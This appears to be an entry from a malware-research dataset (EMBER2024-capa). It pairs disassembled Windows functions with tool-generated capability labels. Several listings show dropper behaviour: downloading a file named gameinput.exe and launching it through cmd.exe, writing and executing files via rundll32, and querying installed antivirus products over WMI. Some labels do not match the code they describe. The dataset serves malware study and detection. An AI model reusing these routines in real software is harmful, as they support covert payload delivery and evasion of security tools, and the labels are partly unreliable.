joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401750
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x228
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x139]
mov byte [esp + 0x138], 0
rep stosd dword es:[edi], eax
mov ebx, dword [esp + 0x23c]
lea ecx, [esp + 0x138]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x240]
push ebx
push eax
push str._s_s
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
xor eax, eax
mov ecx, 0x4a
lea edi, [esp + 0x10]
push eax
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
cmp ebp, 0xffffffff
je 0x401853
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
add esi, ebx
cmp esi, ebx
jbe 0x4017e1
mov al, byte [esi]
cmp al, 0x2f
je 0x4017e0
cmp al, 0x5c
je 0x4017e0
dec esi
cmp esi, ebx
ja 0x4017cf
jmp 0x4017e1
inc esi
lea edx, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push edx
push ebp
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40184c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x40184c
lea eax, [esp + 0x10]
push eax
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40184c
mov edi, dword [sym.imp.MSVCRT.dll__stricmp]
lea ecx, [esp + 0x34]
push ecx
push esi
call edi
add esp, 8
test eax, eax
je 0x401862
lea edx, [esp + 0x34]
lea eax, [esp + 0x138]
push edx
push eax
call edi
add esp, 8
test eax, eax
je 0x401862
lea ecx, [esp + 0x10]
push ecx
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401818
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x228
ret 8
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x228
ret 8

Function at 0x4018c0
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x100
push ebx
push edi
xor ebx, ebx
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], bl
push 0xff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4018fd
pop edi
pop ebx
add esp, 0x100
ret 0xc
lea ecx, [esp + 8]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edi, dword [esp + 0x11c]
push 0x4030f8
push edi
mov byte [eax + 1], bl
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x10
test eax, eax
je 0x40194b
mov edx, dword [esp + 0x110]
mov eax, dword [esp + 0x10c]
push edi
push 0xffffffffffffffff
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
pop edi
pop ebx
add esp, 0x100
ret 0xc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push esi
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
mov edx, dword [esp + 0x110]
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x118]
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
pop esi
pop edi
pop ebx
add esp, 0x100
ret 0xc
Function at 0x4019a0
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x100
push ebp
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 8]
push 0xff
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401a89
push esi
lea ecx, [esp + 0xc]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov ebp, dword [esp + 0x120]
mov byte [eax + 1], 0
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x4030f8
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x10
test eax, eax
pop esi
je 0x401a5f
mov eax, dword [esp + 0x118]
mov ecx, dword [esp + 0x110]
mov edx, dword [esp + 0x10c]
push ebp
push 0x400
push eax
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
pop edi
pop ebp
add esp, 0x100
ret 0x10
mov ecx, dword [esp + 0x118]
mov edx, dword [esp + 0x110]
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0x110]
push 0x400
push ecx
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
pop edi
pop ebp
add esp, 0x100
ret 0x10

Function at 0x401b90
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4020d0
push 0x401cc8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x4031f0], 0xffffffff
or dword [0x4031f4], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x4031e8]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x4031e4]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x4031ec], eax
call fcn.00401cc7
cmp dword [0x403100], 0
jne 0x401c13
push 0x401cc4
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00401cb2
push 0x403018
push 0x403014
call sub.MSVCRT.dll__initterm
mov eax, dword [0x4031e0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x4031dc]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x403010
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.00401040
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x401530
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x45016c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
push edi
mov edi, edx
test ecx, ecx
je 0x4015c5
push esi
push esi
lea eax, [ebp - 0x54]
push eax
push ecx
push esi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x4015c5
mov eax, dword [ebp - 0x54]
lea edx, [ebp - 0x50]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x4015bc
mov eax, dword [ebp - 0x48]
inc eax
push eax
push 0x40
mov dword [edi], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4015bc
push dword [edi]
xorps xmm0, xmm0
push 0
push esi
movlpd qword [ebp - 0x60], xmm0
call fcn.0041d2e0
mov eax, dword [ebp - 0x54]
add esp, 0xc
mov ecx, dword [eax]
push 0
push 0
push dword [ebp - 0x5c]
push dword [ebp - 0x60]
push eax
call dword [ecx + 0x14]
mov ecx, dword [ebp - 0x54]
mov eax, dword [edi]
push 0
dec eax
mov edx, dword [ecx]
push eax
push esi
push ecx
call dword [edx + 0xc]
mov eax, dword [ebp - 0x54]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.0041b559
mov esp, ebp
pop ebp
ret
Function at 0x401640
Capabilities:
Create directory
Create process on windows
Create process suspended
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x45016c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, ecx
push 0x1000
push 0x40
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0xb4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push dword [0x452914]
mov esi, eax
push esi
mov dword [ebp - 0xac], esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.Microsoft.Web
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push 0
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x44d5a0
push dword [ebp - 0xac]
call esi
push edi
push dword [ebp - 0xac]
call esi
lea eax, [ebp - 8]
push eax
push 0
push ebx
call fcn.00408910
add esp, 0xc
mov ebx, eax
push dword [ebp - 0xb0]
push ebx
call fcn.00408b70
lea eax, [ebp - 0x50]
push eax
call fcn.004073e0
mov esi, dword [ebp - 0xb4]
lea eax, [ebp - 0x50]
add esp, 0xc
push eax
push 0
push esi
push ebx
call fcn.00405f60
mov edi, dword [ebp - 0x38]
add esp, 0x10
lea eax, [edi + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 9
push esi
push ebx
mov dword [ebp - 0xb0], eax
call fcn.004074d0
add esp, 0xc
mov esi, eax
push 0
push edi
push dword [ebp - 0xb0]
push esi
call fcn.00407440
push esi
call fcn.004072f0
add esp, 0x14
push ebx
call fcn.00406a80
add esp, 4
push 0
push 0x80
push 2
push 0
push 1
push 0x10000000
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, dword [ebp - 0xb0]
mov esi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call esi
push 0x40
lea eax, [ebp - 0x94]
mov dword [ebp - 0x98], 0x44
push 0
push eax
call fcn.0041d2e0
mov ebx, dword [ebp - 0xac]
lea eax, [ebp - 0xa8]
add esp, 0xc
push eax
lea eax, [ebp - 0x98]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0xa8]
call edi
push dword [ebp - 0xa4]
call edi
push ebx
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041b559
mov esp, ebp
pop ebp
ret
Function at 0x401800
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2858
call fcn.0041bae0
mov eax, dword [0x45016c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x2810]
mov esi, edx
push eax
push 0
push ecx
call fcn.00408910
mov edi, eax
push esi
push edi
call fcn.00408b70
lea eax, [ebp - 0x2854]
push eax
call fcn.004073e0
lea eax, [ebp - 0x2854]
push eax
push 0
push str.1.bin
push edi
call fcn.00405f60
mov eax, dword [ebp - 0x283c]
add esp, 0x28
inc eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 9
push str.1.bin
push edi
mov ebx, eax
call fcn.004074d0
push dword [ebp - 0x2838]
mov esi, eax
push dword [ebp - 0x283c]
push ebx
push esi
call fcn.00407440
push esi
call fcn.004072f0
push edi
call fcn.00406a80
push 0x2000
lea eax, [ebp - 0x280c]
push 0
push eax
call fcn.0041d2e0
add esp, 0x30
lea eax, [ebp - 0x280c]
push dword [0x452914]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x44d5a4
lea eax, [ebp - 0x280c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 2
push 0
push 1
push 0x10000000
lea eax, [ebp - 0x280c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 0x2814]
push eax
push dword [ebp - 0x283c]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x800
lea eax, [ebp - 0x80c]
push 0
push eax
call fcn.0041d2e0
mov eax, dword [0x456d38]
add eax, 0x26c
push eax
lea eax, [ebp - 0x280c]
push eax
lea eax, [ebp - 0x80c]
push str._s__hs
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
lea eax, [ebp - 0x80c]
push 0
push 0
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 6
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
lea eax, [ebp - 0x80c]
push eax
push str.rundll32
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call dword [sym.imp.ole32.dll_CoUninitialize]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041b559
mov esp, ebp
pop ebp
ret
Function at 0x4019b0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x45016c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 0x446e1c
push 1
push 0
push 0x446e2c
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push str.rootSecurityCenter2
mov dword [ebp - 0xc], 0
call edi
mov ecx, dword [ebp - 0x14]
lea esi, [ebp - 0xc]
push esi
push 0
push 0
mov edx, dword [ecx]
push 0
push 0
push 0
push 0
push eax
push ecx
call dword [edx + 0xc]
test eax, eax
js 0x401b10
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [ebp - 0xc]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
push 0x44d614
call edi
push str.SELECT__FROM_AntiVirusProduct
mov esi, eax
call edi
mov ecx, dword [ebp - 0xc]
lea edi, [ebp - 0x10]
push edi
push 0
push 0x20
push eax
mov dword [ebp - 0x10], 0
mov edx, dword [ecx]
push esi
push ecx
call dword [edx + 0x50]
test eax, eax
js 0x401afe
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], 0
mov dword [ebp - 8], 0
test ecx, ecx
je 0x401afe
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, 0x452928
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ecx]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0x18]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 8], 0
je 0x401afe
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
push 0
push 0
push edx
mov ecx, dword [eax]
push 0
push str.displayName
push eax
call dword [ecx + 0x10]
push 0x1000
push 0
push esi
call fcn.0041d2e0
add esp, 0xc
push dword [ebp - 0x20]
push esi
call edi
lea eax, [ebp - 0x28]
push eax
call ebx
mov ecx, dword [ebp - 0x10]
add esi, 0x1000
test ecx, ecx
jne 0x401aa5
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041b559
mov esp, ebp
pop ebp
ret
Function at 0x403100
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2010
call fcn.0041bae0
mov eax, dword [0x45016c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x2008]
push eax
push 0
push 0
push 0x4422c0
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
push 0x2000
lea eax, [ebp - 0x2004]
push 0
push eax
call fcn.0041d2e0
add esp, 0xc
lea eax, [ebp - 0x2004]
push dword [ebp - 0x2008]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.gameinput.exe
lea eax, [ebp - 0x2004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov esi, dword [0x456d38]
push 0
add esi, 0x3ec
push 0
push esi
mov dword [ebp - 0x200c], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push eax
push esi
push 0
push 0xfde9
call edi
mov esi, eax
lea ecx, [esi*2 + 2]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
mov esi, dword [ebp - 0x200c]
push eax
push esi
mov dword [ebp - 0x2010], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0
push 0xfde9
call edi
mov edi, dword [ebp - 0x2010]
lea eax, [ebp - 0x2004]
push 0
push 0
push eax
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x403244
lea eax, [ebp - 0x2004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x40]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x2004]
push eax
push str._k___s_
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 6
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push esi
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call dword [sym.imp.ole32.dll_CoUninitialize]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0041b559
mov esp, ebp
pop ebp
ret
Function at 0x40a760
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor edx, edx
push edi
xor edi, edi
bts edi, eax
cmp eax, 0x20
cmovae edx, edi
xor edi, edx
cmp eax, 0x40
mov eax, dword [esp + 0xc]
cmovae edx, edi
test eax, eax
js 0x40a7ac
push ebx
push esi
lea ebx, [esp + 0x14]
xor ecx, ecx
lea ebx, [ebx + 4]
bts ecx, eax
xor esi, esi
cmp eax, 0x20
cmovae esi, ecx
xor ecx, esi
cmp eax, 0x40
mov eax, dword [ebx]
cmovae esi, ecx
or edi, ecx
or edx, esi
test eax, eax
jns 0x40a788
pop esi
pop ebx
mov eax, edi
pop edi
ret
Function at 0x40f270
Capabilities:
Hash data using djb2

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
mov ecx, 0x1505
test edi, edi
jne 0x40f286
pop edi
xor eax, eax
pop esi
ret
push ebx
mov bl, byte [edi]
test bl, bl
je 0x40f2b0
nop dword [eax]
mov eax, ecx
lea edi, [edi + 1]
mov edx, esi
shld esi, ecx, 5
shl ecx, 5
add ecx, eax
movzx eax, bl
mov bl, byte [edi]
adc esi, edx
cdq
add ecx, eax
adc esi, edx
test bl, bl
jne 0x40f290
pop ebx
pop edi
mov eax, ecx
pop esi
ret

Function at 0x4127b0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x24]
xorps xmm0, xmm0
movlpd qword [esp + 8], xmm0
push esi
mov esi, dword [esp + 0x18]
test ebp, ebp
jb 0x4128fb
push ebx
mov ebx, dword [esp + 0x28]
ja 0x4127dd
test ebx, ebx
je 0x4128fa
mov edx, dword [esp + 0x20]
push edi
test edx, edx
je 0x412888
mov eax, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov dword [esp + 0x2c], eax
movzx eax, word [esi + 8]
or eax, 2
mov ecx, eax
xor ecx, 1
imul ecx, eax
mov eax, dword [esp + 0x28]
push 1
shr ecx, 8
xor cl, byte [edi + eax]
lea eax, [esp + 0x14]
push eax
mov byte [edi + edx], cl
mov eax, dword [esi]
not eax
mov byte [esp + 0x18], cl
push eax
call fcn.004144a0
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.004144a0
mov edx, dword [esp + 0x3c]
not eax
add esp, 0x18
mov dword [esi + 8], eax
mov eax, dword [esp + 0x2c]
add edi, 1
adc eax, 0
mov dword [esp + 0x2c], eax
cmp eax, ebp
jb 0x4127f6
ja 0x4128f9
cmp edi, ebx
jb 0x4127f6
pop edi
pop ebx
pop esi
pop ebp
add esp, 0xc
ret
movlpd qword [esp + 0x14], xmm0
mov ebp, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x28]
push 1
mov al, byte [edi + eax]
mov byte [esp + 0x14], al
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.004144a0
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.004144a0
add esp, 0x18
not eax
add edi, 1
mov dword [esi + 8], eax
adc ebp, 0
cmp ebp, dword [esp + 0x30]
jb 0x412896
ja 0x4128f9
cmp edi, ebx
jb 0x412896
pop edi
pop ebx
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x412910
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
sub esp, 0x10
cmp dword [esp + 0x24], 0
xorps xmm0, xmm0
push esi
mov esi, dword [esp + 0x18]
movlpd qword [esp + 8], xmm0
jb 0x412a7c
push ebp
mov ebp, dword [esp + 0x28]
ja 0x41293b
test ebp, ebp
je 0x412a7b
cmp dword [esp + 0x20], 0
push ebx
push edi
je 0x412a08
mov eax, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x14], eax
nop dword [eax + eax]
mov ecx, dword [esp + 0x2c]
push 1
mov bl, byte [eax + ecx]
mov ax, word [esi + 8]
or ax, 2
mov byte [esp + 0x14], bl
movzx edi, ax
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.004144a0
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.004144a0
mov edx, dword [esp + 0x40]
not eax
mov dword [esi + 8], eax
add esp, 0x18
mov eax, edi
mov ecx, edi
xor ecx, 1
imul ecx, eax
mov eax, dword [esp + 0x14]
shr ecx, 8
xor cl, bl
mov byte [eax + edx], cl
add eax, 1
mov ecx, dword [esp + 0x1c]
adc ecx, 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], ecx
cmp ecx, dword [esp + 0x34]
jb 0x412960
ja 0x412a79
cmp eax, ebp
jb 0x412960
pop edi
pop ebx
pop ebp
pop esi
add esp, 0x10
ret
movlpd qword [esp + 0x14], xmm0
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
push 1
mov al, byte [edi + eax]
mov byte [esp + 0x14], al
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.004144a0
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.004144a0
add esp, 0x18
not eax
add edi, 1
mov dword [esi + 8], eax
adc ebx, 0
cmp ebx, dword [esp + 0x34]
jb 0x412a16
ja 0x412a79
cmp edi, ebp
jb 0x412a16
pop edi
pop ebx
pop ebp
pop esi
add esp, 0x10
ret

Function at 0x412c40
Capabilities:
Hash data via bcrypt

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x412c6f
cmp dword [esp + 0x10], 0
ja 0x412c6f
mov ecx, dword [esp + 0xc]
jb 0x412c5a
cmp ecx, 0xffffffff
ja 0x412c6f
push 0
push ecx
push dword [esp + 0x10]
push dword [eax + 4]
call sub.bcrypt.dll_BCryptHashData
test eax, eax
setns al
ret
xor al, al
ret

Function at 0x412ee0
Capabilities:
Generate random numbers via winapi

Disassembly:
movzx eax, word [esp + 8]
push 2
push eax
push dword [esp + 0xc]
push 0
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
setns al
ret
Function at 0x4163a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x416525
cmp dword [esi + 0x20], 0
je 0x416525
cmp dword [esi + 0x24], 0
je 0x416525
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x416525
cmp dword [eax], esi
jne 0x416525
mov eax, dword [eax + 4]
cmp eax, 0x2a
je 0x416405
cmp eax, 0x39
je 0x416405
cmp eax, 0x45
je 0x416405
cmp eax, 0x49
je 0x416405
cmp eax, 0x5b
je 0x416405
cmp eax, 0x67
je 0x416405
cmp eax, 0x71
je 0x416405
cmp eax, 0x29a
jne 0x416525
push edi
mov edi, dword [esi + 0x1c]
mov dword [esi + 0x14], 0
mov dword [esi + 8], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x2c], 2
mov ecx, dword [edi + 0x18]
mov eax, dword [edi + 8]
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], eax
test ecx, ecx
jns 0x41643e
neg ecx
mov dword [edi + 0x18], ecx
cmp ecx, 2
mov eax, 0x2a
push 0
mov edx, 0x39
cmove eax, edx
push 0
mov dword [edi + 4], eax
push 0
jne 0x416460
call fcn.004144a0
jmp 0x416465
call fcn.00418b30
add esp, 0xc
mov dword [esi + 0x30], eax
mov dword [edi + 0x28], 0xfffffffe
push edi
call fcn.00419300
mov esi, dword [esi + 0x1c]
xor edx, edx
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x4c]
add eax, eax
mov dword [esi + 0x3c], eax
mov eax, dword [esi + 0x44]
mov word [eax + ecx*2 - 2], dx
mov eax, dword [esi + 0x4c]
lea eax, [eax*2 - 2]
push eax
push edx
push dword [esi + 0x44]
call fcn.0041d2e0
mov eax, dword [esi + 0x84]
add esp, 0x10
lea ecx, [eax + eax*2]
movzx eax, word [ecx*4 + 0x4456ba]
mov dword [esi + 0x80], eax
movzx eax, word [ecx*4 + 0x4456b8]
mov dword [esi + 0x8c], eax
movzx eax, word [ecx*4 + 0x4456bc]
mov dword [esi + 0x90], eax
xor eax, eax
movzx ecx, word [ecx*4 + 0x4456be]
pop edi
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x6c], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x74], 0
mov dword [esi + 0x16b4], 0
mov dword [esi + 0x78], 2
mov dword [esi + 0x60], 2
mov dword [esi + 0x68], 0
mov dword [esi + 0x48], 0
pop esi
ret
mov eax, 0xfffffffe
pop esi
ret